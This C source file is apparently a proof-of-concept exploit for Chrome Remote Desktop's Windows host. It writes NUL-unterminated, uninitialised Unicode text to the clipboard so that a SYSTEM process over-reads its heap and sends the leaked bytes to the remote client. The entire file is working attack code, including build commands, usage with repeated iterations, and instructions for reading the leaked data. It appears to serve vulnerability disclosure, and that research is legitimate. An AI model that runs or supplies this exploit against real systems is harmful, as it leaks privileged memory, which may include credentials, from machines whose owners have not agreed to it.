// poc_clipboard_writer.c
//
// Medium-integrity clipboard writer that places a non-NUL-terminated
// CF_UNICODETEXT payload on the Windows session clipboard.
//
// When Chrome Remote Desktop's remoting_desktop.exe (running as SYSTEM in the
// same interactive session, with an active CRD client connection) receives the
// resulting WM_CLIPBOARDUPDATE, ClipboardWin::OnClipboardUpdate() at
// remoting/host/clipboard_win.cc:234 calls
//
//     text.assign(text_lock.data());            // std::wstring::assign(const wchar_t*)
//
// which performs an unbounded wcslen() over the HGLOBAL allocation in the
// SYSTEM process's heap. Because this writer's payload contains no 0x0000
// terminator and is not zero-initialised, wcslen() walks past the end of the
// allocation into adjacent SYSTEM heap until it hits the first 0x0000 word.
// The over-read bytes are UTF-8-encoded and shipped to the remote CRD client
// as a protocol::ClipboardEvent.
//
// Build (any of):
//   x86_64-w64-mingw32-gcc -O2 -municode -o poc_clipboard_writer.exe poc_clipboard_writer.c
//   cl /O2 poc_clipboard_writer.c user32.lib kernel32.lib
//
// Run as the interactive user (medium IL is sufficient) while an authenticated
// CRD session is active:
//   poc_clipboard_writer.exe            -- single 1-WCHAR shot
//   poc_clipboard_writer.exe 50 6       -- 50 iterations, 6-byte payload each
//
// Then inspect the clipboard content that arrives at the remote CRD client:
// any bytes after the leading 'A' marker(s) are leaked SYSTEM-heap contents.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

static int put_nonterminated_unicodetext(SIZE_T payload_bytes) {
  if (payload_bytes < sizeof(WCHAR)) {
    payload_bytes = sizeof(WCHAR);
  }
  // Round down to a whole number of WCHARs so the receiver's wcslen() starts
  // on an aligned word.
  payload_bytes &= ~(SIZE_T)1;

  if (!OpenClipboard(NULL)) {
    fprintf(stderr, "OpenClipboard failed: %lu\n", GetLastError());
    return 0;
  }

  if (!EmptyClipboard()) {
    fprintf(stderr, "EmptyClipboard failed: %lu\n", GetLastError());
    CloseClipboard();
    return 0;
  }

  // GMEM_MOVEABLE only -- deliberately NOT GMEM_ZEROINIT (no GHND).
  HGLOBAL h = GlobalAlloc(GMEM_MOVEABLE, payload_bytes);
  if (!h) {
    fprintf(stderr, "GlobalAlloc failed: %lu\n", GetLastError());
    CloseClipboard();
    return 0;
  }

  WCHAR* p = (WCHAR*)GlobalLock(h);
  if (!p) {
    fprintf(stderr, "GlobalLock failed: %lu\n", GetLastError());
    GlobalFree(h);
    CloseClipboard();
    return 0;
  }

  // Fill every WCHAR with a non-zero marker so there is no in-buffer
  // terminator. 'A' (0x0041) survives WideToUTF8 unchanged so leaked tail
  // bytes are easy to distinguish on the receiving side.
  SIZE_T nwchars = payload_bytes / sizeof(WCHAR);
  for (SIZE_T i = 0; i < nwchars; ++i) {
    p[i] = L'A';
  }
  GlobalUnlock(h);

  // Ownership of |h| transfers to the clipboard on success.
  if (!SetClipboardData(CF_UNICODETEXT, h)) {
    fprintf(stderr, "SetClipboardData failed: %lu\n", GetLastError());
    GlobalFree(h);
    CloseClipboard();
    return 0;
  }

  CloseClipboard();
  return 1;
}

int wmain(int argc, wchar_t** argv) {
  int iterations = 1;
  SIZE_T payload_bytes = 2;  // one WCHAR, no terminator

  if (argc >= 2) iterations    = _wtoi(argv[1]);
  if (argc >= 3) payload_bytes = (SIZE_T)_wtoi(argv[2]);

  printf("[*] iterations=%d payload_bytes=%llu (no NUL terminator, no zero-init)\n",
         iterations, (unsigned long long)payload_bytes);

  for (int i = 0; i < iterations; ++i) {
    if (put_nonterminated_unicodetext(payload_bytes)) {
      printf("[+] iter %d: placed %llu-byte non-terminated CF_UNICODETEXT\n",
             i, (unsigned long long)payload_bytes);
    }
    // Give the SYSTEM listener time to process WM_CLIPBOARDUPDATE and ship
    // the event before we overwrite the clipboard again.
    Sleep(150);
  }

  printf("[*] done -- check the remote CRD client clipboard for bytes after "
         "the leading 'A' marker(s)\n");
  return 0;
}
